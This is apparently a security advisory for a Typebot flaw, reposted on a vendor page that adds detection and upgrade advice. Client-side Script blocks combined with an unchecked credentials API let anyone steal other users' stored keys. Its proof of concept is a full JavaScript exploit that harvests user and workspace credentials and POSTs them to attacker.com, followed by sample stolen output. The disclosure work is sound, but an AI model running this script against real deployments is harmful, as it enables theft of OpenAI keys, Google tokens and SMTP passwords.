HIGHTypebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Description
Summary
Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership
Details
The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.
The /api/trpc/credentials.getCredentials endpoint returns plaintext credentials:
GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}
Response:
{
"result": {
"data": {
"json": {
"name": "My OpenAI Key",
"data": { "apiKey": "sk-proj-abc123...xyz789" }
}
}
}
}
The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.

PoC
Here's how to reproduce:
- Create a new typebot in the Builder
- Add a Script block and enable "Execute on client"
- Paste this code:
const exfil = async () => {
const data = { credentials: [] };
const list = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
{ credentials: "include" }
);
const creds = (await list.json()).result?.data?.json?.credentials || [];
for (const c of creds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
name: d.result.data.json.name,
type: c.type,
apiKey: d.result.data.json.data.apiKey,
fullData: d.result.data.json.data,
});
}
const ws = await fetch(
"https://app.typebot.io/api/trpc/workspace.listWorkspaces",
{ credentials: "include" }
);
const workspaces = (await ws.json()).result.data.json.workspaces;
for (const w of workspaces) {
const wsList = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
),
{ credentials: "include" }
);
const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];
for (const c of wsCreds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({
json: {
workspaceId: w.id,
scope: "workspace",
credentialsId: c.id,
},
})
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
workspace: w.name,
name: d.result.data.json.name,
type: c.type,
fullData: d.result.data.json.data,
});
}
}
await fetch("https://attacker.com/exfil", {
method: "POST",
body: JSON.stringify(data),
});
};
await exfil();
- Share typebot with victim
- When victim clicks "Run" to preview, script executes
- All credentials exfiltrated in plaintext:
{
"credentials": [
{
"name": "My OpenAI",
"type": "openai",
"apiKey": "sk-proj-abc123...",
"fullData": { "apiKey": "sk-proj-abc123..." }
},
{
"workspace": "Company Workspace",
"name": "Google Sheets",
"type": "google-sheets",
"fullData": {
"refresh_token": "1//0gHdP...",
"access_token": "ya29.a0..."
}
}
]
}
Impact
All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.
Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.
Root causes:
- Client-side scripts execute with victim's authenticated session
- API returns plaintext credentials without ownership verification
- No user warnings or consent prompts
- Exploitable with free tier account

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @typebot.io/js. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @typebot.io/js to 0.9.15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4xc5-wfwc-jw47 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4xc5-wfwc-jw47 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4xc5-wfwc-jw47. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4xc5-wfwc-jw47 in your dependencies?
O3 detects GHSA-4xc5-wfwc-jw47 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
